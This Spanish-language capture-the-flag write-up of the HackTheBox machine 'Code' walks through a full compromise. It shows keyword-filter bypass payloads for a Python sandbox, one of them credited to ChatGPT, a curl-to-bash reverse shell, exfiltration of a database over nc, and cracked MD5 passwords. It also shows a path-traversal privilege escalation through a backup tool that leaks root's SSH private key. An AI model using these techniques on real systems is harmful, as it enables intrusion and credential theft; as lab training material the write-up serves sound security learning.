This page looks best with JavaScript enabled

HackTheBox - Code

 •  ✍️ sckull

Code corre un editor de codigo Python donde realizamos bypass a un filtro para la ejecucion de comandos y obtener acceso a la maquina. Tras la lectura de hashes en la base de datos SQLite accedimos por el servicio SSH. Finalmente escalamos privilegios tras modificar el archivo de configuracion para la creacion de backups de backy logrando leer y acceder a archivos como root y posteriormente acceso por SSH.

Recon

nmap

nmap muestra multiples puertos abiertos: http (5000) y ssh (22).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
# Nmap 7.95 scan initiated Sun Mar 23 06:42:43 2025 as: /usr/lib/nmap/nmap --privileged -p22,5000 -sV -sC -oN nmap_scan 10.10.11.62
Nmap scan report for 10.10.11.62
Host is up (0.21s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)
|_  256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)
5000/tcp open  http    Gunicorn 20.0.4
|_http-title: Python Code Editor
|_http-server-header: gunicorn/20.0.4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Mar 23 06:42:57 2025 -- 1 IP address (1 host up) scanned in 14.55 seconds

Web Site

El sitio web en el puerto 5000 muestra gunicorn como servidor.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
❯ curl -sI 10.10.11.62:5000
HTTP/1.1 200 OK
Server: gunicorn/20.0.4
Date: Tue, 25 Mar 2025 23:24:30 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 3435
Vary: Cookie

Al visitar el sitio muestra un editor de codigo donde se muestran dos ‘ventanas’, para ejecucion y salida.

image

Se indica que el editor es para lenguaje Python.

image

Tambien se muestra formularios de Registro y Login.

image
image

Al registrar un usuario y autenticarse, muestra la opcion ‘My codes’ donde es posible acceder a “archivos” de codigo guardados por el usuario.

image

Python - Code Execution

Tras intentar ejecutar comandos mediante librerias Python se indica la existencia de un filtro.

image

Intentamos realizar la ejecucion con varias librerias y payloads para realizar bypass al filtro, encontramos que las siguientes “palabras” no son aceptadas.

1
2
3
4
5
6
import
os
system
exec
eval
builtins

Exploramos globals() el cual muestra las diferentes variables, funciones y clases definidas dentro del codigo.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
__name__ app
__doc__ None
__package__ 
__loader__ <_frozen_importlib_external.SourceFileLoader object at 0x7f0fca603490>
__spec__ ModuleSpec(name='app', loader=<_frozen_importlib_external.SourceFileLoader object at 0x7f0fca603490>, origin='/home/app-production/app/app.py')
__file__ /home/app-production/app/app.py
__cached__ /home/app-production/app/__pycache__/app.cpython-38.pyc
__builtins__ {'__name__': 'builtins', '__doc__': \"Built-in functions, exceptions, and other objects.\
\
Noteworthy: None is the `nil' object; Ellipsis represents `...' in slices.\", '__package__': '', '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': ModuleSpec(name='builtins', loader=<class '_frozen_importlib.BuiltinImporter'>), '__build_class__': <built-in function __build_class__>, '__import__': <built-in function __import__>, 'abs': <built-in function abs>, 'all': <built-in function all>, 'any': <built-in function any>, 'ascii': <built-in function ascii>, 'bin': <built-in function bin>, 'breakpoint': <built-in function breakpoint>, 'callable': <built-in function callable>, 'chr': <built-in function chr>, 'compile': <built-in function compile>, 'delattr': <built-in function delattr>, 'dir': <built-in function dir>, 'divmod': <built-in function divmod>, 'eval': <built-in function eval>, 'exec': <built-in function exec>, 'format': <built-in function format>, 'getattr': <built-in function getattr>, 'globals': <built-in function globals>, 'hasattr': <built-in function hasattr>, 'hash': <built-in function hash>, 'hex': <built-in function hex>, 'id': <built-in function id>, 'input': <built-in function input>, 'isinstance': <built-in function isinstance>, 'issubclass': <built-in function issubclass>, 'iter': <built-in function iter>, 'len': <built-in function len>, 'locals': <built-in function locals>, 'max': <built-in function max>, 'min': <built-in function min>, 'next': <built-in function next>, 'oct': <built-in function oct>, 'ord': <built-in function ord>, 'pow': <built-in function pow>, 'print': <built-in function print>, 'repr': <built-in function repr>, 'round': <built-in function round>, 'setattr': <built-in function setattr>, 'sorted': <built-in function sorted>, 'sum': <built-in function sum>, 'vars': <built-in function vars>, 'None': None, 'Ellipsis': Ellipsis, 'NotImplemented': NotImplemented, 'False': False, 'True': True, 'bool': <class 'bool'>, 'memoryview': <class 'memoryview'>, 'bytearray': <class 'bytearray'>, 'bytes': <class 'bytes'>, 'classmethod': <class 'classmethod'>, 'complex': <class 'complex'>, 'dict': <class 'dict'>, 'enumerate': <class 'enumerate'>, 'filter': <class 'filter'>, 'float': <class 'float'>, 'frozenset': <class 'frozenset'>, 'property': <class 'property'>, 'int': <class 'int'>, 'list': <class 'list'>, 'map': <class 'map'>, 'object': <class 'object'>, 'range': <class 'range'>, 'reversed': <class 'reversed'>, 'set': <class 'set'>, 'slice': <class 'slice'>, 'staticmethod': <class 'staticmethod'>, 'str': <class 'str'>, 'super': <class 'super'>, 'tuple': <class 'tuple'>, 'type': <class 'type'>, 'zip': <class 'zip'>, '__debug__': True, 'BaseException': <class 'BaseException'>, 'Exception': <class 'Exception'>, 'TypeError': <class 'TypeError'>, 'StopAsyncIteration': <class 'StopAsyncIteration'>, 'StopIteration': <class 'StopIteration'>, 'GeneratorExit': <class 'GeneratorExit'>, 'SystemExit': <class 'SystemExit'>, 'KeyboardInterrupt': <class 'KeyboardInterrupt'>, 'ImportError': <class 'ImportError'>, 'ModuleNotFoundError': <class 'ModuleNotFoundError'>, 'OSError': <class 'OSError'>, 'EnvironmentError': <class 'OSError'>, 'IOError': <class 'OSError'>, 'EOFError': <class 'EOFError'>, 'RuntimeError': <class 'RuntimeError'>, 'RecursionError': <class 'RecursionError'>, 'NotImplementedError': <class 'NotImplementedError'>, 'NameError': <class 'NameError'>, 'UnboundLocalError': <class 'UnboundLocalError'>, 'AttributeError': <class 'AttributeError'>, 'SyntaxError': <class 'SyntaxError'>, 'IndentationError': <class 'IndentationError'>, 'TabError': <class 'TabError'>, 'LookupError': <class 'LookupError'>, 'IndexError': <class 'IndexError'>, 'KeyError': <class 'KeyError'>, 'ValueError': <class 'ValueError'>, 'UnicodeError': <class 'UnicodeError'>, 'UnicodeEncodeError': <class 'UnicodeEncodeError'>, 'UnicodeDecodeError': <class 'UnicodeDecodeError'>, 'UnicodeTranslateError': <class 'UnicodeTranslateError'>, 'AssertionError': <class 'AssertionError'>, 'ArithmeticError': <class 'ArithmeticError'>, 'FloatingPointError': <class 'FloatingPointError'>, 'OverflowError': <class 'OverflowError'>, 'ZeroDivisionError': <class 'ZeroDivisionError'>, 'SystemError': <class 'SystemError'>, 'ReferenceError': <class 'ReferenceError'>, 'MemoryError': <class 'MemoryError'>, 'BufferError': <class 'BufferError'>, 'Warning': <class 'Warning'>, 'UserWarning': <class 'UserWarning'>, 'DeprecationWarning': <class 'DeprecationWarning'>, 'PendingDeprecationWarning': <class 'PendingDeprecationWarning'>, 'SyntaxWarning': <class 'SyntaxWarning'>, 'RuntimeWarning': <class 'RuntimeWarning'>, 'FutureWarning': <class 'FutureWarning'>, 'ImportWarning': <class 'ImportWarning'>, 'UnicodeWarning': <class 'UnicodeWarning'>, 'BytesWarning': <class 'BytesWarning'>, 'ResourceWarning': <class 'ResourceWarning'>, 'ConnectionError': <class 'ConnectionError'>, 'BlockingIOError': <class 'BlockingIOError'>, 'BrokenPipeError': <class 'BrokenPipeError'>, 'ChildProcessError': <class 'ChildProcessError'>, 'ConnectionAbortedError': <class 'ConnectionAbortedError'>, 'ConnectionRefusedError': <class 'ConnectionRefusedError'>, 'ConnectionResetError': <class 'ConnectionResetError'>, 'FileExistsError': <class 'FileExistsError'>, 'FileNotFoundError': <class 'FileNotFoundError'>, 'IsADirectoryError': <class 'IsADirectoryError'>, 'NotADirectoryError': <class 'NotADirectoryError'>, 'InterruptedError': <class 'InterruptedError'>, 'PermissionError': <class 'PermissionError'>, 'ProcessLookupError': <class 'ProcessLookupError'>, 'TimeoutError': <class 'TimeoutError'>, 'open': <built-in function open>, 'quit': Use quit() or Ctrl-D (i.e. EOF) to exit, 'exit': Use exit() or Ctrl-D (i.e. EOF) to exit, 'copyright': Copyright (c) 2001-2021 Python Software Foundation.
All Rights Reserved.

Copyright (c) 2000 BeOpen.com.
All Rights Reserved.

Copyright (c) 1995-2001 Corporation for National Research Initiatives.
All Rights Reserved.

Copyright (c) 1991-1995 Stichting Mathematisch Centrum, Amsterdam.
All Rights Reserved., 'credits':     Thanks to CWI, CNRI, BeOpen.com, Zope Corporation and a cast of thousands
    for supporting Python development.  See www.python.org for more information., 'license': Type license() to see the full license text, 'help': Type help() for interactive help, or help(object) for help about object.}

Observamos que se esta utilizando Flask y una lista de clases y funciones. Entre las funciones se muestra render_template_string, una base de datos sqlite en /home/app-production/app/instance/database.db tambien la clase User.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
Flask <class 'flask.app.Flask'>
render_template <function render_template at 0x7f0fc9fbeee0>
render_template_string <function render_template_string at 0x7f0fc9fbef70>
request <Request 'http://10.10.11.62:5000/run_code' [POST]>
jsonify <function jsonify at 0x7f0fca269c10>
redirect <function redirect at 0x7f0fca0d33a0>
url_for <function url_for at 0x7f0fca0d3310>
session <SecureCookieSession {'_flashes': [('message', 'You must be logged in to view your codes.'), ('message', 'Registration successful! You can now log in.'), ('message', 'Login successful!')], 'user_id': 3}>
flash <function flash at 0x7f0fca0d3550>
SQLAlchemy <class 'flask_sqlalchemy.extension.SQLAlchemy'>
sys <module 'sys' (built-in)>
io <module 'io' from '/usr/lib/python3.8/io.py'>
os <module 'os' from '/usr/lib/python3.8/os.py'>
hashlib <module 'hashlib' from '/usr/lib/python3.8/hashlib.py'>
app <Flask 'app'>
db <SQLAlchemy sqlite:////home/app-production/app/instance/database.db>
User <class 'app.User'>
Code <class 'app.Code'>
index <function index at 0x7f0fc900c8b0>
register <function register at 0x7f0fc900cb80>
login <function login at 0x7f0fc900cc10>
logout <function logout at 0x7f0fc900cca0>
run_code <function run_code at 0x7f0fc900ce50>
load_code <function load_code at 0x7f0fc8e88040>
save_code <function save_code at 0x7f0fc8e881f0>
codes <function codes at 0x7f0fc8e883a0>
about <function about at 0x7f0fc8e88550>
<class 'dict'>

Command Execution

render_template_string

Es posible utilizar render_template_string, se muestra la ejecucion de {{7*7}}.

image

Ejecutamos el comando id con os concatenando el payload para realizar “bypass”. Se muestra el resultado.

image

globals + getattr

Basados en globals() es posible ejecutar codigo junto con getattr().

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
b = "__buil"+"tins__"
# print(globals()[b])

i = "__imp"+"ort__"
# print(globals()[b][i]) 
# <bu ilt-in function __imp ort__> 

o = "o"+"s"
module = globals()[b][i](o)
# <module 'o s' from '/usr/lib/python3.8/o s.py'>

s = "sys"+"tem"
# exe cute sys tem
getattr(module, s)("curl 10.10.14.101")

Se observa una solicitud desde la maquina.

1
2
3
4
❯ httphere .
[sudo] password for kali: 
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.62 - - [26/Mar/2025 03:54:56] "GET / HTTP/1.1" 200 -

AI Payload

Asi tambien, basados con las palabras no aceptadas ChatGPT nos muestra un payload mas “complejo”.

1
2
3
4
5
6
7
8
9
a = "".join([chr(x) for x in [98,117,105,108,116,105,110,115]])
b = "".join([chr(x) for x in [105,109,112,111,114,116]])
c = chr(95)*2 + a + chr(95)*2
d = chr(95)*2 + b + chr(95)*2
x = (lambda:0).__globals__[c]
imp_func = x[d] if type(x) is dict else x.__dict__[d]
f = imp_func("".join([chr(111), chr(115)]))
s = f.__dict__["".join([chr(x) for x in [115,121,115,116,101,109]])]
s("curl 10.10.14.101")

User - app-production

Ejecutamos una shell inversa utilizando shells, obteniendo una shell como app-production y la flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
# curl 10.10.14.101:8000/10.10.14.101:1338 | bash
❯ rlwrap nc -lvp 1338
listening on [any] 1338 ...
10.10.11.62: inverse host lookup failed: Unknown host
connect to [10.10.14.101] from (UNKNOWN) [10.10.11.62] 36028
/bin/sh: 0: can't access tty; job control turned off
$ whoami;id;pwd
app-production
uid=1001(app-production) gid=1001(app-production) groups=1001(app-production)
/home/app-production/app
$ cd
$ ls
app
user.txt
$ cat user.txt
c92d2f42be2dde6f77573052a0a9a72a
$ 

Encontramos el codigofuente de la aplicacion en app/app.py se observa que render_template_string no esta siendo utilizando dentro del codigo. Ademas vemos multiples palabras como filtro en la ruta run_code.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
from flask import Flask, render_template,render_template_string, request, jsonify, redirect, url_for, session, flash
from flask_sqlalchemy import SQLAlchemy
import sys
import io
import os
import hashlib

app = Flask(__name__)
app.config['SECRET_KEY'] = "7j4D5htxLHUiffsjLXB1z9GaZ5"
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///database.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
db = SQLAlchemy(app)

class User(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    username = db.Column(db.String(80), unique=True, nullable=False)
    password = db.Column(db.String(80), nullable=False)
    codes = db.relationship('Code', backref='user', lazy=True)

class Code(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)
    code = db.Column(db.Text, nullable=False)
    name = db.Column(db.String(100), nullable=False)

    def __init__(self, user_id, code, name):
        self.user_id = user_id
        self.code = code
        self.name = name

@app.route('/')
def index():
    code_id = request.args.get('code_id')
    return render_template('index.html', code_id=code_id)

@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form['username']
        password = hashlib.md5(request.form['password'].encode()).hexdigest()
        existing_user = User.query.filter_by(username=username).first()
        if existing_user:
            flash('User already exists. Please choose a different username.')
        else:
            new_user = User(username=username, password=password)
            db.session.add(new_user)
            db.session.commit()
            flash('Registration successful! You can now log in.')
            return redirect(url_for('login'))
    
    return render_template('register.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form['username']
        password = hashlib.md5(request.form['password'].encode()).hexdigest()
        user = User.query.filter_by(username=username, password=password).first()
        if user:
            session['user_id'] = user.id
            flash('Login successful!')
            return redirect(url_for('index'))
        else:
            flash('Invalid credentials. Please try again.')
    return render_template('login.html')

@app.route('/logout')
def logout():
    session.pop('user_id', None)
    flash('You have been logged out.')
    return redirect(url_for('index'))

@app.route('/run_code', methods=['POST'])
def  run_code():
    code = request.form['code']
    old_stdout = sys.stdout
    redirected_output = sys.stdout = io.StringIO()
    try:
        for keyword in ['eval', 'exec', 'import', 'open', 'os', 'read', 'system', 'write', 'subprocess', '__import__', '__builtins__']:
            if keyword in code.lower():
                return jsonify({'output': 'Use of restricted keywords is not allowed.'})
        exec(code)
        output = redirected_output.getvalue()
    except Exception as e:
        output = str(e)
    finally:
        sys.stdout = old_stdout
    return jsonify({'output': output})

@app.route('/load_code/<int:code_id>')
def load_code(code_id):
    if 'user_id' not in session:
        flash('You must be logged in to view your codes.')
        return redirect(url_for('login'))
    code = Code.query.get_or_404(code_id)
    if code.user_id != session['user_id']:
        flash('You do not have permission to view this code.')
        return redirect(url_for('codes'))
    return jsonify({'code': code.code})

@app.route('/save_code', methods=['POST'])
def save_code():
    if 'user_id' not in session:
        return jsonify({'message': 'You must be logged in to save code.'}), 401
    user_id = session['user_id']
    code = request.form.get('code')
    name = request.form.get('name')
    if not code or not name:
        return jsonify({'message': 'Code and name are required.'}), 400
    new_code = Code(user_id=user_id, code=code, name=name)
    db.session.add(new_code)
    db.session.commit()
    return jsonify({'message': 'Code saved successfully!'})

@app.route('/codes', methods=['GET', 'POST'])
def codes():
    if 'user_id' not in session:
        flash('You must be logged in to view your codes.')
        return redirect(url_for('login'))

    user_id = session['user_id']
    codes = Code.query.filter_by(user_id=user_id).all()

    if request.method == 'POST':
        code_id = request.form.get('code_id')
        code = Code.query.get(code_id)
        if code and code.user_id == user_id:
            db.session.delete(code)
            db.session.commit()
            flash('Code deleted successfully!')
        else:
            flash('Code not found or you do not have permission to delete it.')
        return redirect(url_for('codes'))     
    return render_template('codes.html',codes=codes)

@app.route('/about')
def about():
    return render_template('about.html')

if __name__ == '__main__':
    if not os.path.exists('database.db'):
        with app.app_context():
            db.create_all()
    app.run(host='0.0.0.0', port=5000)

Database

Encontramos la base de datos sqlite de la aplicacion.

1
2
3
4
5
$ ls
database.db
$ file database.db
database.db: SQLite 3.x database, last written using SQLite version 3031001
$

Transferimos esta a nuestra maquina.

1
2
3
4
5
6
7
8
9
# code.htb
# nc -w 3 10.10.14.101 1234 < /root/scripts/database.db
❯ nc -lvp 1234 > database.db
listening on [any] 1234 ...
10.10.11.62: inverse host lookup failed: Unknown host
connect to [10.10.14.101] from (UNKNOWN) [10.10.11.62] 39952
❯ file database.db
database.db: SQLite 3.x database, last written using SQLite version 3031001, file counter 14, database pages 4, cookie 0x2, schema 4, UTF-8, version-valid-for 14

Observamos unicamente dos usuarios y el hash de cada uno.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
❯ sqlite3
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
Connected to a transient in-memory database.
Use ".open FILENAME" to reopen on a persistent database.
sqlite> .open database.db
sqlite> .tables
code  user
sqlite> select * from user;
1|development|759b74ce43947f5f4c91aeddc3e5bad3
2|martin|3de6f30c4a09c27fc71932bfc68474be
sqlite>

crackstation muestra en texto plano el valor de los hashes.

Hash Type Result
759b74ce43947f5f4c91aeddc3e5bad3 md5 development
3de6f30c4a09c27fc71932bfc68474be md5 nafeelswordsmaster

User - Martin (1)

Observamos que martin esta registrado en la maquina.

1
2
3
4
5
6
7
$ cat /etc/passwd | grep sh
root:x:0:0:root:/root:/bin/bash
fwupd-refresh:x:111:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
app-production:x:1001:1001:,,,:/home/app-production:/bin/bash
martin:x:1000:1000:,,,:/home/martin:/bin/bash
$

Utilizamos la contrasena por el servicio SSH logrando el acceso a este usuario.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
┌──(kali㉿kali)-[~/htb/code]
└─$ ssh martin@10.10.11.62 # nafeelswordsmaster
The authenticity of host '10.10.11.62 (10.10.11.62)' can't be established.
ED25519 key fingerprint is SHA256:AlQsgTPYThQYa3z9ZAHkFiO/LqXA6T55FoT58A1zlAY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.62' (ED25519) to the list of known hosts.
martin@10.10.11.62's password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-208-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Sun 23 Mar 2025 05:41:59 AM UTC

  System load:           0.47
  Usage of /:            66.4% of 5.33GB
  Memory usage:          20%
  Swap usage:            0%
  Processes:             259
  Users logged in:       1
  IPv4 address for eth0: 10.10.11.62
  IPv6 address for eth0: dead:beef::250:56ff:feb9:7a08


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


cp: cannot stat '/root/root.txt': Permission denied
Last login: Sun Mar 23 05:42:00 2025 from 10.10.14.101
martin@code:~$ whoami;id;pwd
martin
uid=1000(martin) gid=1000(martin) groups=1000(martin)
/home/martin
martin@code:~$

User - Martin (2)

Es posible obtener la contrasena de Martin obteniendo el hash de la base de datos desde el editor de codigo.

image

Privesc

Vemos que es posible ejecutar como root el script backy.sh.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
martin@code:~$ sudo -l -l
Matching Defaults entries for martin on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User martin may run the following commands on localhost:

Sudoers entry:
    RunAsUsers: ALL
    RunAsGroups: ALL
    Options: !authenticate
    Commands:
    /usr/bin/backy.sh
martin@code:~$ cat /usr/bin/backy.sh

El script acepta un archivo .json, dentro del archivo busca por los directorios /var/ y /home en 'directories_to_archive', de no exisitir se cierra, en caso contrario pasa el archivo al comando backy.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/bin/bash

if [[ $# -ne 1 ]]; then
    /usr/bin/echo "Usage: $0 <task.json>"
    exit 1
fi

json_file="$1"

if [[ ! -f "$json_file" ]]; then
    /usr/bin/echo "Error: File '$json_file' not found."
    exit 1
fi

allowed_paths=("/var/" "/home/")

updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")

/usr/bin/echo "$updated_json" > "$json_file"

directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')

is_allowed_path() {
    local path="$1"
    for allowed_path in "${allowed_paths[@]}"; do
        if [[ "$path" == $allowed_path* ]]; then
            return 0
        fi
    done
    return 1
}

for dir in $directories_to_archive; do
    if ! is_allowed_path "$dir"; then
        /usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
        exit 1
    fi
done

/usr/bin/backy "$json_file"

Dentro del directorio de martin encontramo sun ejemplo de archivo json, asi como un backup.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
martin@code:~$ ls backups/
code_home_app-production_app_2024_August.tar.bz2  task.json
martin@code:~$ cat backups/task.json 
{
    "destination": "/home/martin/backups/",
    "multiprocessing": true,
    "verbose_log": false,
    "directories_to_archive": [
        "/home/app-production/app"
    ],

    "exclude": [
        ".*"
    ]
}
martin@code:~$

El backup muestra el codigo de la aplicacion web.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
martin@code:~$ cd backups/
martin@code:~/backups$ cp code_home_app-production_app_2024_August.tar.bz2 /dev/shm
martin@code:~/backups$ cd /dev/shm
martin@code:/dev/shm$ tar -xvf code_home_app-production_app_2024_August.tar.bz2 
home/app-production/app/
home/app-production/app/app.py
home/app-production/app/static/
home/app-production/app/static/css/
home/app-production/app/static/css/styles.css
home/app-production/app/templates/
home/app-production/app/templates/index.html
home/app-production/app/templates/codes.html
home/app-production/app/templates/register.html
home/app-production/app/templates/login.html
home/app-production/app/templates/about.html
home/app-production/app/instance/
home/app-production/app/instance/database.db
martin@code:/dev/shm$

Tras ejecutar el script con el archivo json observamos que crea un backup del directorio especificado en directories_to_archive.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
martin@code:~/backups$ sudo /usr/bin/backy.sh task.json 
2025/03/26 02:47:20 🍀 backy 1.2
2025/03/26 02:47:20 📋 Working with task.json ...
2025/03/26 02:47:20 💤 Nothing to sync
2025/03/26 02:47:20 📤 Archiving: [/home/app-production/app]
2025/03/26 02:47:20 📥 To: /home/martin/backups ...
2025/03/26 02:47:20 📦
martin@code:~/backups$ ls 
code_home_app-production_app_2024_August.tar.bz2  task.json
code_home_app-production_app_![image](/images/posts/htb/code/2025_March.tar.bz2
martin@code:~/backups$ ll
total 40
drwxr-xr-x 2 martin martin 4096 Mar 26 02:47 ./
drwxr-x--- 8 martin martin 4096 Mar 26 02:46 ../
-rw-r--r-- 1 martin martin 5879 Mar 26 02:45 code_home_app-production_app_2024_August.tar.bz2
-rw-r--r-- 1 root   root   8507 Mar 26 02:47 code_home_app-production_app_![image](/images/posts/htb/code/2025_March.tar.bz2
-rw-r--r-- 1 martin martin  191 Mar 26 02:47 task.json
martin@code:~/backups$ cat task.json 
{
  "destination": "/home/martin/backups/",
  "multiprocessing": true,
  "verbose_log": false,
  "directories_to_archive": [
    "/home/app-production/app"
  ],
  "exclude": [
    ".*"
  ]
}
martin@code:~/backups$

Backup /root/

Modificamos el archivo json eliminando exclude y apuntando al directorio /root/.

1
2
3
4
5
6
7
8
{
    "destination": "/dev/shm/",
    "multiprocessing": true,
    "verbose_log": true,
    "directories_to_archive": [
        "/var/../root/"
    ]
}

Ejecutamos el script con el archivo json.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
martin@code:/dev/shm$ sudo /usr/bin/backy.sh task.json
/usr/bin/backy.sh: line 19: task.json: Permission denied
2025/03/23 05:59:20 🍀 backy 1.2
2025/03/23 05:59:20 📋 Working with task.json ...
2025/03/23 05:59:20 💤 Nothing to sync
2025/03/23 05:59:20 📤 Archiving: [/var/../root]
2025/03/23 05:59:20 📥 To: /dev/shm ...
2025/03/23 05:59:20 📦
tar: Removing leading `/var/../' from member names
/var/../root/
/var/../root/.local/
/var/../root/.local/share/
/var/../root/.local/share/nano/
/var/../root/.local/share/nano/search_history
/var/../root/.sqlite_history
/var/../root/.profile
/var/../root/scripts/
/var/../root/scripts/cleanup.sh
/var/../root/scripts/backups/
/var/../root/scripts/backups/task.json
/var/../root/scripts/backups/code_home_app-production_app_2024_August.tar.bz2
/var/../root/scripts/database.db
/var/../root/scripts/cleanup2.sh
/var/../root/.python_history
/var/../root/root.txt
/var/../root/.cache/
/var/../root/.cache/motd.legal-displayed
/var/../root/.ssh/
/var/../root/.ssh/id_rsa
/var/../root/.ssh/authorized_keys
/var/../root/.bash_history
/var/../root/.bashrc
martin@code:/dev/shm$

Observamos que se creo el archivo backup.

1
2
3
4
5
6
7
8
9
martin@code:/dev/shm$ ls
code_var_.._root_![image](/images/posts/htb/code/2025_March.tar.bz2  task.json
martin@code:/dev/shm$ ll
total 28
drwxrwxrwt  2 root   root     120 Mar 23 05:59 ./
drwxr-xr-x 19 root   root    4020 Mar 22 18:56 ../
-rw-r--r--  1 root   root   12855 Mar 23 05:59 code_var_.._root_![image](/images/posts/htb/code/2025_March.tar.bz2
-rw-rw-r--  1 martin martin   131 Mar 23 05:59 task.json
martin@code:/dev/shm$

Tras extraer los archivos del backup observamos la flag root.txt y la clave privada SSH de root.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
martin@code:/dev/shm$ tar -xvf code_var_.._root_![image](/images/posts/htb/code/2025_March.tar.bz2
root/
root/.local/
root/.local/share/
root/.local/share/nano/
root/.local/share/nano/search_history
root/.sqlite_history
root/.profile
root/scripts/
root/scripts/cleanup.sh
root/scripts/backups/
root/scripts/backups/task.json
root/scripts/backups/code_home_app-production_app_2024_August.tar.bz2
root/scripts/database.db
root/scripts/cleanup2.sh
root/.python_history
root/root.txt
root/.cache/
root/.cache/motd.legal-displayed
root/.ssh/
root/.ssh/id_rsa
root/.ssh/authorized_keys
root/.bash_history
root/.bashrc
martin@code:/dev/shm$ cat root/root.txt
aa2d5ed15c376803a759024723a1c824
martin@code:/dev/shm$
martin@code:/dev/shm$ cat root/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAvxPw90VRJajgkjwxZqXr865V8He/HNHVlhp0CP36OsKSi0DzIZ4K
sqfjTi/WARcxLTe4lkVSVIV25Ly5M6EemWeOKA6vdONP0QUv6F1xj8f4eChrdp7BOhRe0+
zWJna8dYMtuR2K0Cxbdd+qvM7oQLPRelQIyxoR4unh6wOoIf4EL34aEvQDux+3GsFUnT4Y
MNljAsxyVFn3mzR7nUZ8BAH/Y9xV/KuNSPD4SlVqBiUjUKfs2wD3gjLA4ZQZeM5hAJSmVe
ZjpfkQOdE+++H8t2P8qGlobLvboZJ2rghY9CwimX0/g0uHvcpXAc6U8JJqo9U41WzooAi6
TWxWYbdO3mjJhm0sunCio5xTtc44M0nbhkRQBliPngaBYleKdvtGicPJb1LtjtE5lHpy+N
